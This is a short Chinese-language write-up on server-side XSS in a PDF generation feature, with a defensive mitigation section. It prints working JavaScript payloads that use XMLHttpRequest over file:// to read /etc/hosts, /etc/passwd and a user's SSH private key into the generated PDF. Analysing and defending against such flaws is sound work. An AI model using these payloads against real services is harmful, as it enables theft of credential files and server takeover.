XSS漏洞_从PDF中获取数据
字数 898 2025-08-04 22:52:59
XSS漏洞利用:从PDF中获取敏感数据
一、漏洞概述
本文介绍了一种通过XSS漏洞从PDF文件中获取服务器敏感数据的攻击方法。攻击者利用用户输入生成PDF文件的功能,注入恶意JavaScript代码,成功读取了服务器上的/etc/hosts、/etc/passwd文件以及SSH私钥(id_rsa)。
二、漏洞发现与测试流程
1. 功能分析
- 目标系统提供图书上传功能,用户可输入书名、作者和内容
- 系统会将用户输入生成PDF文件
- PDF生成过程中未对用户输入进行充分过滤
2. 测试步骤
第一步:基础XSS测试
- 在输入框中输入基本HTML标签测试解析能力:
- 确认PDF解析器能够执行JavaScript代码
第二步:协议探测
- 使用以下payload探测PDF使用的协议:
<script>document.write(document.location.href)</script> - 确认使用的是
file://协议
第三步:文件读取测试
- 构造XMLHttpRequest读取系统文件:
<script> x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open('GET','file:///etc/hosts'); x.send(); </script> - 成功读取/etc/hosts文件内容
三、关键攻击技术
1. 文件读取技术
通过JavaScript的XMLHttpRequest对象,利用file协议读取本地文件:
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>
2. SSH私钥窃取
读取用户home目录下的SSH私钥:
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///home/reader/.ssh/id_rsa");
x.send();
</script>
四、漏洞危害
- 敏感信息泄露:可读取系统配置文件(/etc/passwd)、网络配置(/etc/hosts)
- 权限提升:获取SSH私钥后可实现服务器接管
- 横向移动:通过读取的配置信息可进一步探测内网
五、防御措施
1. 输入过滤
- 对用户输入进行严格的HTML/JavaScript过滤
- 使用白名单机制限制允许的标签和属性
2. PDF生成安全
- 使用专业PDF生成库而非HTML转换
- 禁用PDF中的JavaScript执行功能
3. 服务器配置
- 限制PDF解析器的文件系统访问权限
- 使用沙箱环境处理用户上传内容
4. 监控与日志
- 监控异常的文件读取行为
- 记录PDF生成过程中的可疑输入
六、总结
此案例展示了XSS漏洞如何与其他漏洞(如文件包含)结合造成更严重的危害。安全测试不应仅满足于发现漏洞,而应探索漏洞的最大化利用方式。防御方面需要多层防护,从输入过滤到运行环境隔离都需要考虑。